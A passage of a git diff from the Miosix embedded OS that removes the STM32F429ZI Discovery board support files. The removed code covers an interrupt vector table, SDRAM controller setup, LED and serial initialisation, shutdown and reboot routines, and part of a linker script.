/*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index dfa020301..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F429xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() __DSB() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/bsp.cpp deleted file mode 100644 index c6104c403..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,264 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" -// #include "kernel/IRQDisplayPrint.h" - -namespace miosix { - -// -// Initialization -// - -/** - * The example code from ST checks for the busy flag after each command. - * Interestingly I couldn't find any mention of this in the datsheet. - */ -static void sdramCommandWait() -{ - for(int i=0;i<0xffff;i++) - if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; -} - -void configureSdram() -{ - //Enable all gpios, passing clock - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - - //First, configure SDRAM GPIOs - GPIOB->AFR[0]=0x0cc00000; - GPIOC->AFR[0]=0x0000000c; - GPIOD->AFR[0]=0x000000cc; - GPIOD->AFR[1]=0xcc000ccc; - GPIOE->AFR[0]=0xc00000cc; - GPIOE->AFR[1]=0xcccccccc; - GPIOF->AFR[0]=0x00cccccc; - GPIOF->AFR[1]=0xccccc000; - GPIOG->AFR[0]=0x00cc00cc; - GPIOG->AFR[1]=0xc000000c; - - GPIOB->MODER=0x00002800; - GPIOC->MODER=0x00000002; - GPIOD->MODER=0xa02a000a; - GPIOE->MODER=0xaaaa800a; - GPIOF->MODER=0xaa800aaa; - GPIOG->MODER=0x80020a0a; - - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... - GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins - GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; - GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; - GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; - GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; - GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; - GPIOH->OSPEEDR=0xaaaaaaaa; - - //Since we'we un-configured PB3/PB4 from the default at boot TDO,NTRST, - //finish the job and remove the default pull-up - GPIOB->PUPDR=0; - - //Second, actually start the SDRAM controller - RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; - RCC_SYNC(); - - //SDRAM is a IS42S16400J -7 speed grade, connected to bank 2 (0xd0000000) - //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency - | FMC_SDCR1_RBURST // Enable read burst - | 0; // 0 delay between reads after CAS - FMC_Bank5_6->SDCR[1]=0 // 8 bit column address - | FMC_SDCR1_NR_0 // 12 bit row address - | FMC_SDCR1_MWID_0 // 16 bit data bus - | FMC_SDCR1_NB // 4 banks - | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (F<133MHz) - - #ifdef SYSCLK_FREQ_180MHz - //One SDRAM clock cycle is 11.1ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>63ns) - | (2-1)<<20; // 2 cycle TRP (22.2ns>15ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (7-1)<<4 // 7 cycle TXSR (77.7ns>70ns) - | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (22.2ns>15ns) - #elif defined(SYSCLK_FREQ_168MHz) - //One SDRAM clock cycle is 11.9ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>63ns) - | (2-1)<<20; // 2 cycle TRP (23.8ns>15ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (6-1)<<4 // 6 cycle TXSR (71.4ns>70ns) - | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (23.8ns>15ns) - #else - #error No SDRAM timings for this clock - #endif - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 1; // MODE=001 clock enabled - sdramCommandWait(); - - //ST and SDRAM datasheet agree a 100us delay is required here. - delayUs(100); - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 2; // MODE=010 precharge all command - sdramCommandWait(); - - FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says - // "at least two AUTO REFRESH cycles" - | FMC_SDCMR_CTB2 // Enable bank 2 - | 3; // MODE=011 auto refresh - sdramCommandWait(); - - FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 - | FMC_SDCMR_CTB2 // Enable bank 2 - | 4; // MODE=100 load mode register - sdramCommandWait(); - - // 64ms/4096=15.625us - #ifdef SYSCLK_FREQ_180MHz - //15.625us*90MHz=1406-20=1386 - FMC_Bank5_6->SDRTR=1386<<1; - #elif defined(SYSCLK_FREQ_168MHz) - //15.625us*84MHz=1312-20=1292 - FMC_Bank5_6->SDRTR=1292<<1; - #else - #error No refresh timings for this clock - #endif -} - -// static IRQDisplayPrint *irq_display; -void IRQbspInit() -{ - //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here - #ifndef __ENABLE_XRAM - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - #endif //__ENABLE_XRAM - - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -// irq_display = new IRQDisplayPrint(); -// DefaultConsole::instance().IRQset(intrusive_ref_ptr(irq_display)); -} - -// void* printIRQ(void *argv) -// { -// intrusive_ref_ptr irqq(irq_display); -// irqq.get()->printIRQ(); -// return NULL; -// } - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -// Thread::create(printIRQ, 2048); -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index 4c22cc6c9..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,76 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss - * Requires the CPU clock to be already configured (running from the PLL) - */ -void configureSdram(); - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+256k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+256k_rom.ld deleted file mode 100644 index e2425d265..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+256k_rom.ld +++ /dev/null @@ -1,180 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 192KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 192KB RAM */ -_end = 0x20000000; -_heap_end = 0x20030000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - 